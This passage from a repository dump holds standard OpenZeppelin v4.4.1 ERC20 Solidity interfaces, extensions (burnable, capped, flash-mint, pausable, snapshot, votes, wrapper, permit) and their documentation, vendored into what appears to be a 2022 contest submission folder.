function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/README.adoc
================================================
= ERC 20
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc20
This set of interfaces, contracts, and utilities are all related to the https://eips.ethereum.org/EIPS/eip-20[ERC20 Token Standard].
TIP: For an overview of ERC20 tokens and a walk through on how to create a token contract read our xref:ROOT:erc20.adoc[ERC20 guide].
There a few core contracts that implement the behavior specified in the EIP:
* {IERC20}: the interface all ERC20 implementations should conform to.
* {IERC20Metadata}: the extended ERC20 interface including the <>, <> and <> functions.
* {ERC20}: the implementation of the ERC20 interface, including the <>, <> and <> optional standard extension to the base interface.
Additionally there are multiple custom extensions, including:
* {ERC20Burnable}: destruction of own tokens.
* {ERC20Capped}: enforcement of a cap to the total supply when minting tokens.
* {ERC20Pausable}: ability to pause token transfers.
* {ERC20Snapshot}: efficient storage of past token balances to be later queried at any point in time.
* {ERC20Permit}: gasless approval of tokens (standardized as ERC2612).
* {ERC20FlashMint}: token level support for flash loans through the minting and burning of ephemeral tokens (standardized as ERC3156).
* {ERC20Votes}: support for voting and vote delegation.
* {ERC20VotesComp}: support for voting and vote delegation (compatible with Compound's token, with uint96 restrictions).
* {ERC20Wrapper}: wrapper to create an ERC20 backed by another ERC20, with deposit and withdraw methods. Useful in conjunction with {ERC20Votes}.
Finally, there are some utilities to interact with ERC20 contracts in various ways.
* {SafeERC20}: a wrapper around the interface that eliminates the need to handle boolean return values.
* {TokenTimelock}: hold tokens for a beneficiary until a specified time.
The following related EIPs are in draft status.
- {ERC20Permit}
NOTE: This core set of contracts is designed to be unopinionated, allowing developers to access the internal functions in ERC20 (such as <>) and expose them as external functions in the way they prefer. On the other hand, xref:ROOT:erc20.adoc#Presets[ERC20 Presets] (such as {ERC20PresetMinterPauser}) are designed using opinionated patterns to provide developers with ready to use, deployable contracts.
== Core
{{IERC20}}
{{IERC20Metadata}}
{{ERC20}}
== Extensions
{{ERC20Burnable}}
{{ERC20Capped}}
{{ERC20Pausable}}
{{ERC20Snapshot}}
{{ERC20Votes}}
{{ERC20VotesComp}}
{{ERC20Wrapper}}
{{ERC20FlashMint}}
== Draft EIPs
The following EIPs are still in Draft status. Due to their nature as drafts, the details of these contracts may change and we cannot guarantee their xref:ROOT:releases-stability.adoc[stability]. Minor releases of OpenZeppelin Contracts may contain breaking changes for the contracts in this directory, which will be duly announced in the https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/CHANGELOG.md[changelog]. The EIPs included here are used by projects in production and this may make them less likely to change significantly.
{{ERC20Permit}}
== Presets
These contracts are preconfigured combinations of the above features. They can be used through inheritance or as models to copy and paste their source code.
{{ERC20PresetMinterPauser}}
{{ERC20PresetFixedSupply}}
== Utilities
{{SafeERC20}}
{{TokenTimelock}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Burnable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../../../utils/Context.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Capped.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Capped.sol)
pragma solidity ^0.8.0;
import "../ERC20.sol";
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 private immutable _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_mint}.
*/
function _mint(address account, uint256 amount) internal virtual override {
require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20FlashMint.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20FlashMint.sol)
pragma solidity ^0.8.0;
import "../../../interfaces/IERC3156.sol";
import "../ERC20.sol";
/**
* @dev Implementation of the ERC3156 Flash loans extension, as defined in
* https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
*
* Adds the {flashLoan} method, which provides flash loan support at the token
* level. By default there is no fee, but this can be changed by overriding {flashFee}.
*
* _Available since v4.1._
*/
abstract contract ERC20FlashMint is ERC20, IERC3156FlashLender {
bytes32 private constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
/**
* @dev Returns the maximum amount of tokens available for loan.
* @param token The address of the token that is requested.
* @return The amont of token that can be loaned.
*/
function maxFlashLoan(address token) public view override returns (uint256) {
return token == address(this) ? type(uint256).max - ERC20.totalSupply() : 0;
}
/**
* @dev Returns the fee applied when doing flash loans. By default this
* implementation has 0 fees. This function can be overloaded to make
* the flash loan mechanism deflationary.
* @param token The token to be flash loaned.
* @param amount The amount of tokens to be loaned.
* @return The fees applied to the corresponding flash loan.
*/
function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {
require(token == address(this), "ERC20FlashMint: wrong token");
// silence warning about unused variable without the addition of bytecode.
amount;
return 0;
}
/**
* @dev Performs a flash loan. New tokens are minted and sent to the
* `receiver`, who is required to implement the {IERC3156FlashBorrower}
* interface. By the end of the flash loan, the receiver is expected to own
* amount + fee tokens and have them approved back to the token contract itself so
* they can be burned.
* @param receiver The receiver of the flash loan. Should implement the
* {IERC3156FlashBorrower.onFlashLoan} interface.
* @param token The token to be flash loaned. Only `address(this)` is
* supported.
* @param amount The amount of tokens to be loaned.
* @param data An arbitrary datafield that is passed to the receiver.
* @return `true` is the flash loan was successful.
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) public virtual override returns (bool) {
uint256 fee = flashFee(token, amount);
_mint(address(receiver), amount);
require(
receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,
"ERC20FlashMint: invalid return value"
);
uint256 currentAllowance = allowance(address(receiver), address(this));
require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund");
_approve(address(receiver), address(this), currentAllowance - amount - fee);
_burn(address(receiver), amount + fee);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Pausable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol)
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../../../security/Pausable.sol";
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20Pausable is ERC20, Pausable {
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Snapshot.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Snapshot.sol)
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../../../utils/Arrays.sol";
import "../../../utils/Counters.sol";
/**
* @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
* total supply at the time are recorded for later access.
*
* This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
* In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
* accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
* used to create an efficient ERC20 forking mechanism.
*
* Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
* snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
* id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
* and the account address.
*
* NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it
* return `block.number` will trigger the creation of snapshot at the begining of each new block. When overridding this
* function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract.
*
* Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient
* alternative consider {ERC20Votes}.
*
* ==== Gas Costs
*
* Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
* n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
* smaller since identical balances in subsequent snapshots are stored as a single entry.
*
* There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
* only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
* transfers will have normal cost until the next snapshot, and so on.
*/
abstract contract ERC20Snapshot is ERC20 {
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
// https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping(address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
/**
* @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
*/
event Snapshot(uint256 id);
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example using {AccessControl}, or it may be open to the public.
*
* [WARNING]
* ====
* While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
* you must consider that it can potentially be used by attackers in two ways.
*
* First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
* logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
* specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
* section above.
*
* We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
* ====
*/
function _snapshot() internal virtual returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _getCurrentSnapshotId();
emit Snapshot(currentId);
return currentId;
}
/**
* @dev Get the current snapshotId
*/
function _getCurrentSnapshotId() internal view virtual returns (uint256) {
return _currentSnapshotId.current();
}
/**
* @dev Retrieves the balance of `account` at the time `snapshotId` was created.
*/
function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
/**
* @dev Retrieves the total supply at the time `snapshotId` was created.
*/
function totalSupplyAt(uint256 snapshotId) public view virtual returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// Update balance and/or total supply snapshots before the values are modified. This is implemented
// in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) {
// mint
_updateAccountSnapshot(to);
_updateTotalSupplySnapshot();
} else if (to == address(0)) {
// burn
_updateAccountSnapshot(from);
_updateTotalSupplySnapshot();
} else {
// transfer
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
}
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) {
require(snapshotId > 0, "ERC20Snapshot: id is 0");
require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _getCurrentSnapshotId();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Votes.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Votes.sol)
pragma solidity ^0.8.0;
import "./draft-ERC20Permit.sol";
import "../../../utils/math/Math.sol";
import "../../../utils/math/SafeCast.sol";
import "../../../utils/cryptography/ECDSA.sol";
/**
* @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
* and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
*
* NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getVotes} and {getPastVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
* Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
* will significantly increase the base gas cost of transfers.
*
* _Available since v4.2._
*/
abstract contract ERC20Votes is ERC20Permit {
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @dev Emitted when a token transfer or delegate change results in changes to an account's voting power.
*/
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCast.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual returns (address) {
return _delegates[account];
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low-1, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = Math.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual {
_delegate(_msgSender(), delegatee);
}
/**
* @dev Delegates votes from signer to `delegatee`
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(block.timestamp <= expiry, "ERC20Votes: signature expired");
address signer = ECDSA.recover(
_hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
v,
r,
s
);
require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
_delegate(signer, delegatee);
}
/**
* @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
*/
function _maxSupply() internal view virtual returns (uint224) {
return type(uint224).max;
}
/**
* @dev Snapshots the totalSupply after it has been increased.
*/
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
/**
* @dev Snapshots the totalSupply after it has been decreased.
*/
function _burn(address account, uint256 amount) internal virtual override {
super._burn(account, amount);
_writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
} else {
ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)}));
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20VotesComp.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20VotesComp.sol)
pragma solidity ^0.8.0;
import "./ERC20Votes.sol";
/**
* @dev Extension of ERC20 to support Compound's voting and delegation. This version exactly matches Compound's
* interface, with the drawback of only supporting supply up to (2^96^ - 1).
*
* NOTE: You should use this contract if you need exact compatibility with COMP (for example in order to use your token
* with Governor Alpha or Bravo) and if you are sure the supply cap of 2^96^ is enough for you. Otherwise, use the
* {ERC20Votes} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getCurrentVotes} and {getPriorVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
* Enabling self-delegation can easily be done by overriding the {delegates} function. Keep in mind however that this
* will significantly increase the base gas cost of transfers.
*
* _Available since v4.2._
*/
abstract contract ERC20VotesComp is ERC20Votes {
/**
* @dev Comp version of the {getVotes} accessor, with `uint96` return type.
*/
function getCurrentVotes(address account) external view returns (uint96) {
return SafeCast.toUint96(getVotes(account));
}
/**
* @dev Comp version of the {getPastVotes} accessor, with `uint96` return type.
*/
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96) {
return SafeCast.toUint96(getPastVotes(account, blockNumber));
}
/**
* @dev Maximum token supply. Reduced to `type(uint96).max` (2^96^ - 1) to fit COMP interface.
*/
function _maxSupply() internal view virtual override returns (uint224) {
return type(uint96).max;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Wrapper.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Wrapper.sol)
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../utils/SafeERC20.sol";
/**
* @dev Extension of the ERC20 token contract to support token wrapping.
*
* Users can deposit and withdraw "underlying tokens" and receive a matching number of "wrapped tokens". This is useful
* in conjunction with other modules. For example, combining this wrapping mechanism with {ERC20Votes} will allow the
* wrapping of an existing "basic" ERC20 into a governance token.
*
* _Available since v4.2._
*/
abstract contract ERC20Wrapper is ERC20 {
IERC20 public immutable underlying;
constructor(IERC20 underlyingToken) {
underlying = underlyingToken;
}
/**
* @dev Allow a user to deposit underlying tokens and mint the corresponding number of wrapped tokens.
*/
function depositFor(address account, uint256 amount) public virtual returns (bool) {
SafeERC20.safeTransferFrom(underlying, _msgSender(), address(this), amount);
_mint(account, amount);
return true;
}
/**
* @dev Allow a user to burn a number of wrapped tokens and withdraw the corresponding number of underlying tokens.
*/
function withdrawTo(address account, uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
SafeERC20.safeTransfer(underlying, account, amount);
return true;
}
/**
* @dev Mint wrapped token to cover any underlyingTokens that would have been transfered by mistake. Internal
* function that can be exposed with access control if desired.
*/
function _recover(address account) internal virtual returns (uint256) {
uint256 value = underlying.balanceOf(address(this)) - totalSupply();
_mint(account, value);
return value;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20Permit.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)
pragma solidity ^0.8.0;
import "./draft-IERC20Permit.sol";
import "../ERC20.sol";
import "../../../utils/cryptography/draft-EIP712.sol";
import "../../../utils/cryptography/ECDSA.sol";
import "../../../utils/Counters.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
================================================
